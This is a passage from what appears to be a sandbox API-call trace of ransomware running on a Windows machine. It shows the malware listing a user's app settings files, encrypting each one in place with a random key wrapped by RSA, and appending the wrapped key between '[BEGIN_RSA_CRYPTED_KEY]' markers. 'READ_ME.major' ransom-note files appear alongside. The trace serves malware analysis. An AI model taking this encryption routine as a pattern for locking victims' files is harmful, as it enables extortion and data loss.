ftCreationTime.dwLowDateTime=0xdac65b0d, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0xdac65b0d, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0xdac65b0d, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG1", cAlternateFileName="SETTIN~1.LOG")) returned 1 [0205.887] FindNextFileW (in: hFindFile=0x2f30498, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xdac65b0d, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0xdac65b0d, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0xdac65b0d, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 1 [0205.887] FindNextFileW (in: hFindFile=0x2f30498, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xdac65b0d, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0xdac65b0d, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0xdac65b0d, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 0 [0205.887] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x6694c0 [0205.887] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60328 [0205.887] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0205.887] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0205.896] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x6689c8 [0205.896] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0205.896] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\settings\\settings.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1448 [0205.897] GetFileSizeEx (in: hFile=0x1448, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0205.897] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d430 [0205.897] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d4b0 [0205.897] ReadFile (in: hFile=0x1448, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0205.897] SetFilePointer (in: hFile=0x1448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.897] WriteFile (in: hFile=0x1448, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0205.897] SetFilePointer (in: hFile=0x1448, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0205.897] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.897] WriteFile (in: hFile=0x1448, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.898] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0205.899] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0205.899] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0205.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0205.899] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="K9fgcGwyMGz/sLfNNzRQL/pEuipWTGcm23h13nHJS7BHFrtqVeYR5WsSVSlrtVPD\nrpnr6cyLLZupVXvXqLGKSYknh4naAqac2OjuwjfigVFz7vPiypMb5TgfCoFyOpW+\nQmuD6OxtH4GYP8ZShwUXC5EMWkU1Kpn8hoYvCVzHAxys39pMs8QJN19/Y8YVfXM2\n4KKMuKZgXIoXIMyhEHechcN0+dAqg5FUGkUN2LpdgRAOMUBYFbvh0yf6tnw9LG7G\nGe+UKqVKXVYSnNFqhroyuUi4rKsjqbAfYzZQfvtikRDiNF0cjDFZtuPeWw3l4Wfq\nzgLLvT2mElkQAqDx8LvShA==\n", pcchString=0x2e3f9a8) returned 1 [0205.899] WriteFile (in: hFile=0x1448, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0205.899] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.899] WriteFile (in: hFile=0x1448, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.899] CloseHandle (hObject=0x1448) returned 1 [0205.901] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0205.901] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0205.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668fb0 [0205.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0205.903] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\settings\\settings.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1448 [0205.903] GetFileSizeEx (in: hFile=0x1448, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0205.903] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f918d0 [0205.903] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f938d8 [0205.903] ReadFile (in: hFile=0x1448, lpBuffer=0x2f918d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0205.963] SetFilePointer (in: hFile=0x1448, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.964] WriteFile (in: hFile=0x1448, lpBuffer=0x2f938d8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f938d8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0205.964] SetFilePointer (in: hFile=0x1448, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0205.964] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.964] WriteFile (in: hFile=0x1448, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.964] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0205.965] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0205.965] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0205.965] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0205.965] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="lkgCh844SFf4dirELIN72rQTYPyM57HQPNOAQp7M2Z7nub697n4LQC3xWU1MlDc8\npI+FPJ8nN9L2NUbJ1Am56wdkRDs1hkrMzP3xFWfvzIlCwZ7wvZFZfxeX4rF9LGAI\nF2hD0K6PIaXRIUcbLxRgpLQLT6T96bxUxt7L44QvNvq8Ceuobay55xO542IbIPtE\n0r5B3j9PgQ3g/x2JNrVMnclFyk0jNAOo4bY4K5QcDNTkkdTEQ3+Owh0g261w1gBF\nT/tWKPKLbBdR0mZ3yS4bct4xeodjVVxPdz8Y4oQGPuw124k+jmdGHTsTpA0gXj/e\n79DaCAj7Yg4z22BsCa7dDQ==\n", pcchString=0x2e3f9a8) returned 1 [0205.965] WriteFile (in: hFile=0x1448, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0205.966] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.966] WriteFile (in: hFile=0x1448, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.966] CloseHandle (hObject=0x1448) returned 1 [0205.968] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0205.968] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0205.969] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6643a0 [0205.969] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60e428 [0205.970] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1448 [0205.970] GetFileSizeEx (in: hFile=0x1448, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0205.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f9b8f8 [0205.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f978e8 [0205.971] ReadFile (in: hFile=0x1448, lpBuffer=0x2f9b8f8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0206.035] SetFilePointer (in: hFile=0x1448, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.036] WriteFile (in: hFile=0x1448, lpBuffer=0x2f978e8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0206.036] SetFilePointer (in: hFile=0x1448, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0206.036] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.036] WriteFile (in: hFile=0x1448, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.036] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0206.036] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0206.037] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0206.037] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0206.037] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="K951L3Sa+v6G8Fhs4qfUwcJdjh2P7kl6169mj+kzSKN9tXJ9zp7We6Cat01Dy8zq\nrrt0odfgjGDah7IkXZ5r9d+Pt5ol4zKHI9c35cwLk4x/Ip1/MyXss5Ytj9FW5SFa\nbvAxL97+5yAj/JKzNTLDWXULEs51dVVjJpz+vQXDKL8/MbWRZn0GprFqju31hzWS\ni0psz22MXFAki9R1kunUvhQLB07xW/+dfNS8KOwKRA4LrkLq5BlKRKk7943K5srg\nBVxZ5ZWBr5Dkx8II2zQS/uLWp4lxtH3JZA6Q3BwqaZXOx27L5XPAZsOzcpVlTyBQ\nkhtEN3QnkWZ5grTthW8gpA==\n", pcchString=0x2e3f9a8) returned 1 [0206.037] WriteFile (in: hFile=0x1448, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0206.037] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.037] WriteFile (in: hFile=0x1448, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.037] CloseHandle (hObject=0x1448) returned 1 [0206.039] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0206.039] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0206.039] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664210 [0206.039] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60d9c0 [0206.039] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1448 [0206.040] GetFileSizeEx (in: hFile=0x1448, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0206.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d430 [0206.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d4b0 [0206.040] ReadFile (in: hFile=0x1448, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0206.040] SetFilePointer (in: hFile=0x1448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.040] WriteFile (in: hFile=0x1448, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0206.040] SetFilePointer (in: hFile=0x1448, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0206.040] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.040] WriteFile (in: hFile=0x1448, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.041] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0206.041] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0206.042] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0206.042] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0206.042] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="D8rD+haDRk0vQqKxlgjMVxCU70zXrmugUK8UuBCw+V7RvxwzYcBBXyVUEwGYx1D/\nahRvRDXaXBwC17EF8KCsYBvRPjpBm+2PCnxcrVWhz7ztH0/97ORBj8dTaOSgNBzV\n6Bu8SP93aBe4+18/mDVHSz+Uu9+BT8u044RIhcbSuIbNyLM7LlPdp4aXrXEl+OYc\nPndlDa9IdBqEGNMMmFQAK6Pw1LoiPrJQUawJbXtliOnguFkR8ZaT33lkEUG4khim\nVjiRHPI35iLpMbTQeEtbQqx/AbuhG324nXKc9BZEu5ijLad1jH1p31qhkikqI6Hp\nwb4CABvh9Utr2P/j621ijA==\n", pcchString=0x2e3f9a8) returned 1 [0206.042] WriteFile (in: hFile=0x1448, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0206.042] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.042] WriteFile (in: hFile=0x1448, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.042] CloseHandle (hObject=0x1448) returned 1 [0206.044] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8efa262b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8efa262b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x318cf8ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f304d8 [0206.044] FindNextFileW (in: hFindFile=0x2f304d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8efa262b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8efa262b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x318cf8ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.044] FindNextFileW (in: hFindFile=0x2f304d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318cf8ee, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x318cf8ee, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.045] FindNextFileW (in: hFindFile=0x2f304d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318cf8ee, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x318cf8ee, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.045] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x667068 [0206.045] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf679d775, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd26b6dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f303d8 [0206.045] FindNextFileW (in: hFindFile=0x2f303d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf679d775, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd26b6dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.045] FindNextFileW (in: hFindFile=0x2f303d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318f5b8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x318f5b8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.045] FindNextFileW (in: hFindFile=0x2f303d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318f5b8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x318f5b8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x318f5b8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.045] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f88288 [0206.045] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9929a00a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3a6b9b29, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x318f5b8f, 